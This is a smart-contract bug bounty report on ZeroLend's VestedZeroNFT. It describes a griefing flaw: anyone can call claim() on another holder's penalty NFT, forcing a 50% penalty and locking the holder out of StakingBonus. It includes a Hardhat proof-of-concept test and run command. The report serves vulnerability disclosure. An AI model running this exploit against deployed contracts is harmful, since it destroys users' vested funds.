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29123 - [SC - Medium] Griefing attack for VestedZeroNFT.md

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Griefing attack for VestedZeroNFT

Submitted on Mar 7th 2024 at 19:12:50 UTC by @DuckAstronomer for Boost | ZeroLend

Report ID: #29123

Report type: Smart Contract

Report severity: Medium

Target: https://github.com/zerolend/governance

Impacts:

  • Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
  • Permanent freezing of funds

Description

Vulnerability Details

It is possible for anyone to call the claim() function of the VestedZeroNFT contract on behalf of the NFT owner. This poses an issue especially when an NFT is minted with penalty=true. In such cases, the NFT owner ends up paying a penalty (currently 50%) and loses the ability to utilize the StakingBonus contract.

This situation sets the stage for a Griefing attack scenario where an attacker can trigger claim() for NFTs with penalty=true. Consequently, the owners bear penalties and forfeit the opportunity to receive bonuses through the StakingBonus mechanism.

References

Proof of Concept

To run the Poc put it's code to the governance-main/test/Gauge.poc.ts file, generate a random private key, and issue the following command:

WALLET_PRIVATE_KEY=0x... NODE_ENV=test npx hardhat test test/Gauge.poc.ts --config hardhat.config.ts --network hardhat

PoC scenario:

  1. The deployer generates VestedZeroNFT with penalty=true to the Whale.
  2. The Ant (attacker) quickly invokes claim() for the Whale's Nft.
  3. As a result 50% penalty is paid and now unclaimed() returns 0 for the Nft.
  4. The Whale wants to transfer Nft to the StakingBonus contract, but their tx reverts since unclaimed() returns 0.
import { expect } from "chai";
import { deployGovernance } from "./fixtures/governance";
import { loadFixture } from "@nomicfoundation/hardhat-network-helpers";
import { SignerWithAddress } from "@nomicfoundation/hardhat-ethers/signers";
import {
  LockerToken,
  OmnichainStaking,
  StakingBonus,
  VestedZeroNFT,
  ZeroLend,
} from "../typechain-types";
import { e18 } from "./fixtures/utils";

describe("Immunefi Boost", () => {
  let ant: SignerWithAddress;
  let whale: SignerWithAddress;
  let vest: VestedZeroNFT;
  let now: number;
  let stakingBonus: StakingBonus;
  let zero: ZeroLend;
  let locker: LockerToken;
  let omniStaking: OmnichainStaking;

  beforeEach(async () => {
    const deployment = await loadFixture(deployGovernance);
    ant = deployment.ant;
    zero = deployment.zero;
    vest = deployment.vestedZeroNFT;
    stakingBonus = deployment.stakingBonus;
    locker = deployment.lockerToken;
    omniStaking = deployment.omnichainStaking;
    now = Math.floor(Date.now() / 1000);
    whale = deployment.whale;
  });


  // Run as: WALLET_PRIVATE_KEY=0x... NODE_ENV=test npx hardhat test test/Griefing.poc.ts --config hardhat.config.ts --network hardhat


  describe("Griefing", () => {
    it("Ant attacks Whale", async () => {
      expect(await vest.lastTokenId()).to.equal(0);

      // deployer should be able to mint a nft for Whale
      // with penalty = True
      await vest.mint(
        whale.address,
        e18 * 20n, // 20 ZERO linear vesting
        0, // 0 ZERO upfront
        1000, // linear duration - 1000 seconds
        0, // cliff duration - 0 seconds
        now + 1000, // unlock date
        true, // penalty!!
        0
      );

      expect(await vest.lastTokenId()).to.equal(1);

      // Ant calls claim() for minted Nft with penalty
      // Nft is minted for Whale
      await vest.connect(ant).claim(1);
      
      // Whale transfers Nft to StakingBonus contract
      // But it reverts
      await expect(
        vest
          .connect(whale)
          ["safeTransferFrom(address,address,uint256)"](
            whale.address,
            stakingBonus.target,
            1
        )
      ).to.be.reverted;
    });
  });
});